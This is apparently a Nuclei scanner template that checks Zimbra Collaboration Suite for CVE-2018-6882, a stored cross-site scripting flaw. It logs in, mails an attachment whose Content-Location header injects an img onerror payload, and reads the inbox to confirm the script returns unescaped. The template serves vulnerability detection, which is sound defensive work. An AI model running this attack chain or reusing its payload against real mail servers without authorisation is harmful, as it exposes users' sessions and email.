Zimbra Collaboration Suite - Cross-site Scripting

id: CVE-2018-6882

info:
  name: Zimbra Collaboration Suite - Cross-site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in the ZmMailMsgView.getAttachmentLinkHtml function in Zimbra Collaboration Suite (ZCS) before 8.7 Patch 1 and 8.8.x before 8.8.7 might allow remote attackers to inject arbitrary web script or HTML via a Content-Location header in an email attachment.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers via malicious email attachments, potentially stealing session cookies, credentials, or accessing sensitive email data.
  remediation: |
    Upgrade to Zimbra Collaboration Suite version 8.7 Patch 1 or 8.8.7 or later.
  reference:
    - https://www.securify.nl/advisory/SFY20180101/cross-site-scripting-vulnerability-in-zimbra-collaboration-suite-due-to-the-way-it-handles-attachment-links.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.8
    cve-id: CVE-2018-6882
    epss-score: 0.23717
    epss-percentile: 0.97529
    cwe-id: CWE-79
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: zimbra
    product: collaboration_server
  tags: cve,cve2018,smtp,zimbra,collaboration-server,intrusive,xss,kev,vkev

flow: http(1) && tcp(1) && http(2) && http(3)

variables:
  mail: "{{mail}}"
  pass: "{{pass}}"
  user: "{{user}}"
  base: "{{interactsh-url}}"

http:
  - raw:
      - |
        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        name: version
        regex:
          - 'CLIENT_VERSION",\s*\{[^}]*defaultValue:"(?:8\.7\.(?:0|5|11)|8\.8\.(?:0|6))(?:_GA_[0-9]+)?"'
        part: body

      - type: dsl
        name: zimbra-detect
        condition: and
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Zimbra Collaboration Suite")'

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: ZM_TEST=true

        loginOp=login&username={{user}}&password={{pass}}&client=preferred

    redirects: true
    extractors:
      - type: regex
        name: csrf
        part: body
        regex:
          - 'window\.csrfToken\s*=\s*"([^"]+)"'
        internal: true
        group: 1

      - type: regex
        name: session
        part: body
        regex:
          - '"session":\s*\{"id":"([0-9]+)"'
        internal: true
        group: 1
    cookie-reuse: true

  - raw:
      - |
        POST /service/soap/SearchConvRequest HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml; charset=UTF-8
        X-Zimbra-Csrf-Token: {{csrf}}

        {"Header":{"context":{"_jsns":"urn:zimbra","userAgent":{"name":"ZimbraWebClient - FF128 (Linux)","version":"8.7.11_GA_1854"},"session":{"_content":"{{session}}","id":{{session}}},"account":{"_content":"{{mail}}","by":"name"},"csrfToken":"{{csrf}}"}},"Body":{"SearchConvRequest":{"_jsns":"urn:zimbraMail","sortBy":"dateDesc","header":[{"n":"List-ID"},{"n":"X-Zimbra-DL"},{"n":"IN-REPLY-TO"}],"tz":{"id":"Asia/Kolkata"},"locale":{"_content":"en_US"},"offset":0,"limit":250,"query":"in:inbox","cid":"-257","fetch":"u!","html":1,"needExp":1,"max":250000,"recip":"2"}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "onerror=alert(document.domain)")'
          - 'contains(content_type, "text/javascript")'
        condition: and

tcp:
  - host:
      - "{{Hostname}}"
    port: 25

    inputs:
      - read: 1024

      - data: "EHLO {{base}}\r\n"
        read: 1024

      - data: "MAIL FROM:<{{mail}}>\r\n"
        read: 1024

      - data: "RCPT TO:<{{mail}}>\r\n"
        read: 1024

      - data: "DATA\r\n"
        read: 1024

      - data: |
          From: {{mail}}
          To: {{mail}}
          Subject: Test Subject
          MIME-Version: 1.0
          Content-Type: multipart/mixed; boundary="BOUNDARY_12345"

          --BOUNDARY_12345
          Content-Type: text/plain; charset="utf-8"

          Check the attachment

          --BOUNDARY_12345
          Content-Type: text/plain; name="attachment.txt"
          Content-Transfer-Encoding: base64
          Content-Disposition: attachment; filename="attachment.txt"
          Content-Location: http://foo.bar'></a><img src=a onerror=alert(document.domain)>

          YXR0YWNobWVudAo=
          --BOUNDARY_12345--
          .
        read: 1024

      - data: "QUIT\r\n"
        read: 1024
# digest: 4b0a00483046022100b629106167fa2cfec088a1980f2b5a0ec95c89a2f7f510a1c53d72ae88376266022100895d315b3a43340a979ba950c2f5dd2fd1627857e93fe4cb1119e87a6f41ad89:922c64590222798bb761d5b6d8e72950